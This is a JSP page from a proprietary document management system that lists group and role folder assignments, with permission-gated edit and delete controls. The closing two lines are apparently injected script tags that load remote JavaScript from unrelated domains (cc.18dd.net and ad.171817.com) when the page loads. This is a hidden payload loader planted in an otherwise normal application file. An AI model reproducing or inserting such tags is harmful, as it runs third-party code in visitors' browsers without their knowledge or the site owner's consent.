<%
/*
 * @(#)ListDmsGroupRoleFolder.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ListDmsGroupRoleFolder.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    23/11/2004
    @version          $Revision: 1.10.26.9 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsGroupRoleFolderForm" scope="request" class="com.dcivision.dms.web.ListDmsGroupRoleFolderForm"/>

<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "memberList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"user.columnheader.member_name", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.member_desc", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.member_type", "MEMBER_TYPE"},
                            {"dms.columnheader.folder_location",GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  Integer rootID       = TextUtility.parseIntegerObj(listDmsGroupRoleFolderForm.getRootID());
  Integer parentID     = TextUtility.parseIntegerObj(listDmsGroupRoleFolderForm.getParentID());

  Integer targetRootID =  listDmsGroupRoleFolderForm.getTargetRootID()==null? rootID : TextUtility.parseIntegerObj(listDmsGroupRoleFolderForm.getTargetRootID());
  Integer destinationID = listDmsGroupRoleFolderForm.getDestinationID()==null? parentID : TextUtility.parseIntegerObj(listDmsGroupRoleFolderForm.getDestinationID());
  String strTitle = "-Group/Role Folder Setup";
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
%>
<script language="javascript">
<!--

function addUserGroup(){
  if(document.listDmsGroupRoleFolderForm.destinationPath.value==""){
    alert("<bean:message key='errors.dms.target_location'/>");
    return(true);
  }
  if(document.listDmsGroupRoleFolderForm.userGroupID.value==""){
    alert("<bean:message key='user.label.request_user_group'/>");
    return(true);
  }
  document.listDmsGroupRoleFolderForm.opMode.value="<%=UserMember.OPMODE_ADD_GROUP%>";
  document.listDmsGroupRoleFolderForm.submit();
  return(false);
}

function addUserRole(){
  if(document.listDmsGroupRoleFolderForm.destinationPath.value==""){
    alert("<bean:message key='errors.dms.target_location'/>");
    return(true);
  }
  if(document.listDmsGroupRoleFolderForm.userRoleID.value==""){
    alert("<bean:message key='user.label.request_user_role'/>");
    return(true);
  }
  document.listDmsGroupRoleFolderForm.opMode.value="<%=UserMember.OPMODE_ADD_ROLE%>";
  document.listDmsGroupRoleFolderForm.submit();
  return(false);
}

-->
</script>

<!-- Form Section Begin -->
<html:form action="dms/ListDmsGroupRoleFolder" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
      <layout:returnButton>
        ListDmsRoot.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
      </layout:returnButton>
      <html:standardButton label="common.label.delete" onClick="return OpListDelete()"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div>
<%if(permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_GROUP,"E")||permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_ROLE,"E")){%>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='dms.label.target_folder'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <dms:folderPicker property="destinationPath" hiddenRootID="targetRootID" hiddenParentID="destinationID" hiddenRootIDValue="<%=targetRootID.toString()%>" hiddenParentIDValue="<%=destinationID.toString()%>" size="50" allowCompoundDoc="false" allowPaperDoc="false"/>
                </td>
            </tr>
            <%if(permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_GROUP,"E")){%>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key="user.columnheader.user_group"/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:grouppicker property='userGroupID'/>&nbsp;
                    <html:standardButton label="form.label.add_element" onClick="return addUserGroup()"/>
                </td>
            </tr>
            <%}%>
            <%if(permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_ROLE,"E")){%>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key="user.columnheader.user_role"/>
                </td>
                <td class="filterPanelItem" nowrap>
                  <html:rolepicker property='userRoleID'/>&nbsp;
                  <html:standardButton label="form.label.add_element" onClick="return addUserRole()"/>
                </td>
            </tr>
            <%}%>
        </table>
<%}%>
    </div>
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsGroupRoleFolderForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsGroupRoleFolderForm.getSortAttribute()%>" sortOrder="<%=listDmsGroupRoleFolderForm.getSortOrder()%>" copyColumn="false"/>
  </tr>

  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsObjectHomeFolder" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsObjectHomeFolder).getID()%>);">
    <td align="center">
      <%if (DmsObjectHomeFolder.MEMBER_TYPE_GROUP.equals(((DmsObjectHomeFolder)dmsObjectHomeFolder).getMemberType()) && permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_GROUP,"D")){%>
       <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsObjectHomeFolder' property='ID'/>" onclick="return(false);">
     <%}else if (DmsObjectHomeFolder.MEMBER_TYPE_ROLE.equals(((DmsObjectHomeFolder)dmsObjectHomeFolder).getMemberType()) && permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_ROLE,"D")){%>
       <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsObjectHomeFolder' property='ID'/>" onclick="return(false);">
     <%}else{%>
       <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
     <%}%>
      <!--
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsObjectHomeFolder' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>-->
    </td>
    <td align="center">
     <%if (DmsObjectHomeFolder.MEMBER_TYPE_GROUP.equals(((DmsObjectHomeFolder)dmsObjectHomeFolder).getMemberType()) && permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_GROUP,"E")){%>
       <a href="MaintDmsGroupRoleFolder.do?navMode=E&ID=<bean:write name='dmsObjectHomeFolder' property='ID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
     <%}else if (DmsObjectHomeFolder.MEMBER_TYPE_ROLE.equals(((DmsObjectHomeFolder)dmsObjectHomeFolder).getMemberType()) && permissionManager.hasAccessRight(SystemFunctionConstant.SETUP_USER_ROLE,"E")){%>
       <a href="MaintDmsGroupRoleFolder.do?navMode=E&ID=<bean:write name='dmsObjectHomeFolder' property='ID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
     <%}else{%>
       <html:img src='IconEditDisable.gif'  align='absmiddle'/>
     <%}%>
     <!--<logic:permission right='E'>
       <a href="MaintDmsGroupRoleFolder.do?navMode=E&ID=<bean:write name='dmsObjectHomeFolder' property='ID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
       <html:img src='IconEditDisable.gif'  align='absmiddle'/>
     </logic:permission>-->
    </td>
    <td nowrap>
      <bean:write name='dmsObjectHomeFolder' property='memberName'/>
    </td>
    <td><bean:write name='dmsObjectHomeFolder' property='memberDesc'/></td>
    <td>
    <logic:equal name='dmsObjectHomeFolder' property='memberType' value='<%=UserMember.MEMBER_TYPE_USER%>'>
      <bean:message key='user.label.member_type_user'/>
    </logic:equal>
    <logic:equal name='dmsObjectHomeFolder' property='memberType' value='<%=UserMember.MEMBER_TYPE_GROUP%>'>
      <bean:message key='user.label.member_type_group'/>
    </logic:equal>
    <logic:equal name='dmsObjectHomeFolder' property='memberType' value='<%=UserMember.MEMBER_TYPE_ROLE%>'>
      <bean:message key='user.label.member_type_role'/>
    </logic:equal>

    </td>
    <td nowrap><bean:write name='dmsObjectHomeFolder' property='location'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsObjectHomeFolder' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='dmsObjectHomeFolder' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsGroupRoleFolderForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>